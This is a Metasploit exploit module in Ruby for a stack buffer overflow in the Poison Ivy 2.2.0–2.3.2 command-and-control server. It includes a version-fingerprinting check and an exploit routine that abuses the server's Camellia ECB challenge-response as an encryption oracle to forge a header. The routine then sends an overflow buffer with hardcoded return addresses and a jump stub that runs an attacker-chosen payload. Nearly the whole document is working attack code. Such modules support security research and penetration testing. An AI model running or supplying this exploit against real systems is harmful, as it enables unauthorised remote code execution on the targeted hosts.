## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Poison Ivy Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server. The exploit does not need to know the password chosen for the bot/server communication. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrzej Dereszowski', # Vulnerability Discovery 'Gal Badishi', # Exploit and Metasploit module 'juan vazquez', # Testing and little of Metasploit-fu 'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for brute forcing by (ab)using C&C challenge-response as encryption oracle ], 'References' => [ [ 'OSVDB', '83774' ], [ 'EDB', '19613' ], [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ], [ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ], ], 'DisclosureDate' => '2012-06-24', 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'StackAdjustment' => -4000, 'Space' => 10000 }, 'Platform' => 'win', 'Targets' => [ [ 'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe" 'RWAddress' => 0x00401000, 'Offset' => 0x8069, 'PayloadOffset' => 0x75, 'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp } ], [ 'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe" 'RWAddress' => 0x00401000, 'Offset' => 0x8069, 'PayloadOffset' => 0x75, 'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp } ], [ 'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe" 'RWAddress' => 0x00401000, 'Offset' => 0x806D, 'PayloadOffset' => 0x75, 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp } ] ], 'DefaultTarget' => 2 )) register_options( [ Opt::RPORT(3460) ]) end def check # camellia block size block_size = 16 # number of blocks in challenge block_count = 16 challenge = ("\x00" * block_size * block_count) indicator = {} # 0x0000113e as first 4 bytes on PI 2.1.0 indicator[[0x0000113e].pack('V')] = '2.1.0' # 0x00001212 as first 4 bytes on PI 2.1.1 indicator[[0x00001212].pack('V')] = '2.1.1' # 0x000013f6 as first 4 bytes on PI 2.1.2 indicator[[0x000013f6].pack('V')] = '2.1.2' # 0x000013e0 as 4 bytes after challenge on PI 2.2.0 indicator[[0x000013e0].pack('V')] = '2.2.0' # 0x00001470 as 4 bytes after challenge on PI 2.3.0 indicator[[0x00001470].pack('V')] = '2.3.0' # 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2 indicator[[0x000015D0].pack('V')] = '2.3.1/2.3.2' connect sock.put(challenge) response = sock.get_once(256) if response && response.length == 256 # Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks # map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks. first_block = response[0, 16] (1..15).each do |index| unless response[index * 16, 16] == first_block vprint_status("Response doesn't match Poison Ivy Challenge-Response format.") return Exploit::CheckCode::Safe end end response = sock.get_once(4) end disconnect if response && response.length == 4 disconnect if indicator.key?(response) version = indicator[response] vprint_status("Poison Ivy C&C version #{version} detected.") return Exploit::CheckCode::Appears end end vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.") Exploit::CheckCode::Safe end def exploit # Handshake connect print_status('Performing handshake...') # plaintext header plaintext_header = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle challenge = plaintext_header + ("\x00" * (256 - 32)) sock.put(challenge) # response = encrypt(challenge, key) response = sock.get_once # since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key encrypted_header = response[0, 32] # Don't change the nulls, or it might not work xploit = '' xploit << encrypted_header xploit << "\x00" * (target['PayloadOffset'] - xploit.length) xploit << payload.encoded xploit << "\x00" * (target['Offset'] - xploit.length) xploit << [target.ret].pack('V') # ret to a jmp esp opcode xploit << [target['RWAddress']].pack('V') # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back) # The disconnection triggers the exploit print_status('Sending exploit...') sock.put(xploit) select(nil,nil,nil,5) disconnect end end =begin * ROP version of exploit(): Has been discarded at the moment because of two reasons: (1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process) (2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter =end